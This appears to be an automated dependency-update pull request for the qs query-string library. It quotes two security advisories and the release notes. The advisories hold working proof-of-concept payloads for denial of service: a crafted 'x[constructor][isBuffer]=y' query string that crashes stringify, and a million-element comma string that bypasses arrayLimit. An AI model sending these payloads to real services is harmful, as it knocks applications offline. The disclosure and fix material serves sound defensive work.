pkg: Update qs to v6.16.0 [SECURITY] - autoclosed

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
qs	6.15.3 → 6.16.0

---

qs array-limit bypass via bracket-key comma parsing

CVE-2026-82562 / GHSA-x5fp-wj9c-mxmx

More information

Details

Summary

qs v6.15.3 allows bracket-key input to bypass arrayLimit and throwOnLimitExceeded when comma: true. The input a[]=1,2,3,4 succeeds with arrayLimit: 3, while the equivalent plain-key input is rejected.

Affected version tested:

qs v6.15.3
commit 18d085e919dae70c8f1b200ab99323058edab2c2

Details

parseArrayValue() enforces the comma limit only for flat values. The a[] form is marked non-flat, so its comma-separated value is wrapped after parsing and the inner array is not checked. A single parameter can therefore materialize arbitrarily large arrays.

PoC

const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }

const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError

const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001

On v6.15.3, the first input parses successfully and the second creates an array with 1,000,001 elements. The equivalent a=1,2,3,4 input throws RangeError as expected.

Impact

An attacker who can supply a query string or form body can bypass configured array limits and force excessive memory allocation, causing denial of service. The limit must be applied after comma splitting and before the resulting array is wrapped.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883
• https://github.com/ljharb/qs/security/advisories/GHSA-x5fp-wj9c-mxmx
• https://nvd.nist.gov/vuln/detail/CVE-2026-82562
• https://github.com/ljharb/qs/commit/8859c37470e11b42b547b275e4e9bd0bc8cc5464
• https://github.com/advisories/GHSA-x5fp-wj9c-mxmx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

qs: Denial of Service via Attacker Controlled isBuffer

CVE-2026-82417 / GHSA-4mjr-xmp4-gh2g

More information

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g
• https://nvd.nist.gov/vuln/detail/CVE-2026-82417
• https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6
• https://github.com/advisories/GHSA-4mjr-xmp4-gh2g

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

ljharb/qs (qs)

v6.16.0

Compare Source

• [New] stringify: add a depth option to bound recursion depth (default Infinity)
• [Fix] stringify: serialize Date values when a filter is provided
• [Fix] parse: enforce arrayLimit on comma groups under []= when throwOnLimitExceeded is set
• [Fix] parse: flatten a collection appended to an overflowed array (#​571)
• [Fix] utils: isBuffer: do not invoke a non-callable constructor.isBuffer
• [Fix] stringify: do not let allowEmptyArrays skip cycle detection (or drop own keys) on an empty array with own properties
• [Fix] stringify: encode dots in a top-level key with a primitive value when encodeDotInKeys is set (#​562)
• [Docs] threat model: clarify stringify deep-nesting DoS is caller-bounded
• [Docs] clarify arrayLimit is a representation threshold, not an element-count cap
• [Tests] parse: remove a test that pinned []= comma groups escaping arrayLimit
• [Tests] stringify: pin current encodeDotInKeys separator-dot behavior
• [Dev Deps] update @ljharb/eslint-config, eslint
• [Dev Deps] update eslint, evalmd

---

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Total Size: 81 kB

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Filename	Size
examples/test-bundlesize/dist/App.js	1.46 kB
examples/test-bundlesize/dist/polyfill.js	307 B
examples/test-bundlesize/dist/rdcClient.js	10.9 kB
examples/test-bundlesize/dist/rdcEndpoint.js	8.07 kB
examples/test-bundlesize/dist/react.js	59.6 kB
examples/test-bundlesize/dist/webpack-runtime.js	784 B

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[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 97.84%. Comparing base (c28a0b4) to head (09874bb).

Additional details and impacted files

@@           Coverage Diff           @@
##           master    #4079   +/-   ##
=======================================
  Coverage   97.84%   97.84%           
=======================================
  Files         156      156           
  Lines        3057     3057           
  Branches      612      612           
=======================================
  Hits         2991     2991           
  Misses         18       18           
  Partials       48       48           

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